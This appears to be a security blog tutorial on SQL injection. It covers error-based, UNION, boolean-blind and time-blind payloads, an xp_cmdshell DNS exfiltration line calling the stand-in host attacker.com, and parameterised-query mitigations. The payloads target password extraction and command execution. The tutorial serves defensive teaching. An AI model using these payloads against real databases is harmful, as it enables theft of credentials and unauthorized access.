SQLiWeb SecurityOWASP Top 10

SQL Injection: From Basics to Blind Exploitation

A hands-on walkthrough of SQL injection techniques — from classic error-based payloads to stealthy boolean and time-based blind attacks that fly under the radar.

10 min read
SQL Injection: From Basics to Blind Exploitation

SQL injection remains one of the most impactful vulnerabilities in the OWASP Top 10, yet it's surprisingly easy to overlook during development. In this post, we'll trace the attack surface from the simplest in-band payloads all the way through blind techniques that exfiltrate data one bit at a time.

What Makes SQL Injection Work

At its core, SQLi happens when user-supplied input is concatenated directly into a query string. The database can't distinguish between the developer's intended SQL and the attacker's injected clauses.

# Vulnerable — never do this
query = "SELECT * FROM users WHERE username = '" + username + "'"

A username like admin' -- closes the string literal, appends a comment that swallows the rest of the query, and the database happily returns the admin row.

Classic In-Band Attacks

Error-based injection abuses verbose database error messages to leak schema information:

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --

MSSQL will throw a conversion error containing the table name in plain text. MySQL has similar primitives via extractvalue() and updatexml().

UNION-based injection appends a second SELECT to the original query:

' UNION SELECT username, password, NULL FROM users --

The prerequisite is knowing the number of columns and matching their data types — both trivially enumerated with ORDER BY n and NULL probing.

Blind Injection: When There's No Output

Real-world targets rarely display query results or error messages. Blind techniques extract data indirectly.

Boolean-Based

The page behaves differently depending on a true/false condition:

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --

Binary-search the character space and you can reconstruct any string in O(log n × length) requests. Tools like sqlmap automate this precisely.

Time-Based

When there's zero visible difference between true and false, induce a measurable delay:

'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '0:0:5' --

A 5-second response confirms the condition. This works even through blind redirects, since you're measuring elapsed time at the network layer.

Out-of-Band Exfiltration

Some targets filter or rate-limit HTTP responses. DNS and HTTP callbacks let you exfiltrate data over a completely separate channel:

'; EXEC master..xp_cmdshell 'nslookup '+@@version+'.attacker.com' --

Monitor your DNS resolver for queries — each lookup leaks a fragment of data. Burp Collaborator and interactsh are purpose-built for this.

Mitigation

| Technique | Protection Level | |---|---| | Parameterised queries / prepared statements | ✅ Fully prevents SQLi | | Stored procedures (parameterised) | ✅ Effective | | ORM with bound parameters | ✅ Effective | | Input validation alone | ⚠️ Insufficient — bypass is common | | WAF alone | ⚠️ Defence in depth only |

The only reliable fix is parameterised queries:

cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

The driver sends the query template and parameters separately — the database never interprets user input as SQL.

Summary

SQL injection is old but not dead. Even in 2025 it tops breach reports because developers mistake input filtering for true parameterisation. Test every dynamic query path, use a SAST tool in CI to flag string concatenation into queries, and treat every database interaction as a potential attack surface.